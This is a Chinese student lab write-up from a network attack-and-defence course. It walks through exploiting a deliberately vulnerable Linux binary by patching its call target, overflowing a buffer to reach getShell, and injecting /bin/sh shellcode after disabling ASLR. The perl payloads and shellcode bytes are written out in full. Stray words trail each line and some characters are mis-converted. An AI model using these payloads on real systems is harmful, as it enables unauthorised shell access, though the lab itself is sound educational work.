本次實踐的對象是一個名爲20154324的linux可執行文件。linux
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。shell
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。vim
1.手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。sass
2.利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。安全
3.注入一個shellcode並運行這段shellcode。網絡
1.熟悉Linux基本操做。dom
2.理解Bof的原理。編輯器
3.會使用gdb,vi。函數
4.堆棧結構,返回地址,理解攻擊緩衝區的結果,掌握返回地址的獲取,掌握ELF文件格式,掌握動態技術。學習
由圖中可見,main函數中在80484b5地址的''call 8048491''這條指令,會調用地址爲8048491的foo函數,而其對應機器指令爲「e8 d7ffffff」,根據foo函數中的指令猜想,e8爲''call''指令,即跳轉指令。按照正常流程,會執行main函數中的下一步,即80484ba地址的指令,此時EIP的值爲80484ba,但此時執行call指令,會跳轉到8048491,CPU就會轉而執行 「EIP + d7ffffff」這個位置的指令。「d7ffffff」是補碼,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491這個值。
那咱們想讓它調用getShell,只要修改 d7ffffff 爲 getShell-80484ba 對應的補碼就行。用Windows計算器,直接 47d-4ba就能獲得補碼,是c3ffffff。
vi 20154324
:%!xxd -r
:wq
objdump -d 20154324 | more
查看後,肯定正確調用getShell。
./20154324
由圖中可看出,main主函數會調用foo函數,咱們將實現main主函數調用getshell函數,並獲得getshell函數的地址爲「0804847d」。
咱們輸入1111111122222222333333334444444412345678進行嘗試。
能夠由圖中看出,1234爲溢出字符,且存儲爲倒序。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
並用16進制查看指令xxd,查看input文件的內容是否如預期。
xxd input
shellcode就是一段機器指令,咱們這裏使用的shellcode是文章「Shellcode」入門中生成的shellcode。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
apt-get install execstack
execstack -s 20154324
execstack -q 20154324
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
Linux下有兩種基本構造攻擊buf的方法:retaddr+nop+shellcode和nop+shellcode+retaddr。緩衝區小就用前一種方法,緩衝區大就用後一種方法。這裏,咱們這個buf夠放這個shellcode了,咱們選用前一種方法。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
其中,最後的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。
注意:最後一個字符不能是\x0a,即回車!
(cat input_shellcode;cat) | ./20154324
特別注意:只須要按一次回車就好了!
1.查看進程號爲:4556
ps -ef | grep 20154324
2.啓動gdb進行調試
-gdb
-attach 4556
disassemble foo
能夠看到,會斷在080484ae,ret完,就跳到咱們覆蓋的retaddr的位置了。
-break *0x080484ae
-c
x/16x 0xffffd3bc
如圖,找到了shellcode的起始位置90909090,以及1234所在的位置,\x1\x2\x3\x4應該緊挨着shellcode,因此shellcode的位置應該是0xffffd3c0。
perl -e 'print "A" x 32;print "\xc0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./20154324
如圖所示,注入攻擊成功。
在此次實踐中,咱們經過三種方法改變了執行文件的執行流程,三種方法,對應着三種不一樣的攻擊思路,分別是:
此次的實踐,讓我感覺到網絡攻防技術的重要性,即便此次的攻擊有一些前提,須要系統存在一些漏洞。而在我看來,漏洞,在大多數電腦中是存在的,也許是操做系統的漏洞,也許是某個軟件的漏洞,而這些漏洞,就是電腦安全保衛線中的一個個缺口,也許這些缺口都不大,可是威力倒是不容小視的,一旦被攻破,也許本身的電腦就會被別人監控,甚至控制。在以後的課堂上,必定要認真聽講,也必定要多作實踐,這樣才能學好網絡對抗,才能保護好本身的電腦。